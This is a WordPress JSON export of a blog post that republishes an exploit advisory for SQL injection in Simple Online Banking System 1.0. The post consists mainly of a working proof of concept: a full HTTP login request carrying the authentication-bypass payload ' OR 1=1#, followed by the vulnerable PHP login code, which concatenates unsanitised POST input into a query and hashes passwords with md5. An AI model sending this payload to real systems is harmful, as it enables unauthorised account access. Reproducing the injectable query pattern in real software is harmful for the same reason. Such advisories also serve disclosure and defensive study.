{"id":58024,"date":"2024-07-08T18:30:52","date_gmt":"2024-07-08T15:30:52","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179396\/sobs10-sql.txt"},"modified":"2024-07-08T18:30:52","modified_gmt":"2024-07-08T15:30:52","slug":"simple-online-banking-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/simple-online-banking-system-1-0-sql-injection\/","title":{"rendered":"Simple Online Banking System 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Simple Online Banking System &#8211; SQLi (Authentication Bypass)<br \/># Date: 6 Jul, 2024<br \/># CVE: N\/A<br \/># Exploit Author: bRpsd<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/14868\/banking-system-using-php-free-source-code.html<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/14868\/banking-system-using-php-free-source-code.html<br \/># Category: Web Application<br \/># Version: 1.0<br \/># Tested on: MacOS | Xampp<\/p>\n<p>POC:<\/p>\n<p>POST http:\/\/localhost\/banking\/classes\/Login.php?f=login<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko\/20100101 Firefox\/127.0<br \/>Accept: *\/*<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br, zstd<br \/>Content-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>X-Requested-With: XMLHttpRequest<br \/>Content-Length: 36<br \/>Origin: http:\/\/localhost<br \/>Connection: keep-alive<br \/>Referer: http:\/\/localhost\/banking\/admin\/login.php<br \/>Cookie: PHPSESSID=1472a7e8f9b230194b2515a42943f687<br \/>Sec-Fetch-Dest: empty<br \/>Sec-Fetch-Mode: cors<br \/>Sec-Fetch-Site: same-origin<\/p>\n<p>username=A&#8217; OR 1=1#&amp;password=123<\/p>\n<p>Vuln code:\/classes\/Login.php<br \/>Vuln parameter:username<br \/>public function login(){<br \/>extract($_POST);<\/p>\n<p>$qry = $this-&gt;conn-&gt;query(&#8220;SELECT * from users where username = &#8216;$username&#8217; and password = md5(&#8216;$password&#8217;) &#8220;);<br \/>if($qry-&gt;num_rows &gt; 0){<br \/>foreach($qry-&gt;fetch_array() as $k =&gt; $v){<br \/>if(!is_numeric($k) &amp;&amp; $k != &#8216;password&#8217;){<br \/>$this-&gt;settings-&gt;set_userdata($k,$v);<br \/>}<\/p>\n<p>}<br \/>$this-&gt;settings-&gt;set_userdata(&#8216;login_type&#8217;,1);<br \/>return json_encode(array(&#8216;status&#8217;=&gt;&#8217;success&#8217;));<br \/>}else{<br \/>return json_encode(array(&#8216;status&#8217;=&gt;&#8217;incorrect&#8217;,&#8217;last_qry&#8217;=&gt;&#8221;SELECT * from users where username = &#8216;$username&#8217; and password = md5(&#8216;$password&#8217;) &#8220;));<br \/>}<br \/>}<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Simple Online Banking System &#8211; SQLi (Authentication Bypass)# Date: 6 Jul, 2024# CVE: N\/A# Exploit Author: bRpsd# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/14868\/banking-system-using-php-free-source-code.html# Software Link: https:\/\/www.sourcecodester.com\/php\/14868\/banking-system-using-php-free-source-code.html# Category: Web Application# Version: 1.0# Tested on: MacOS | Xampp POC: POST http:\/\/localhost\/banking\/classes\/Login.php?f=loginHost: localhostUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko\/20100101 Firefox\/127.0Accept: *\/*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, br, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58024","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58024","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58024"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58024\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58024"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58024"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58024"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}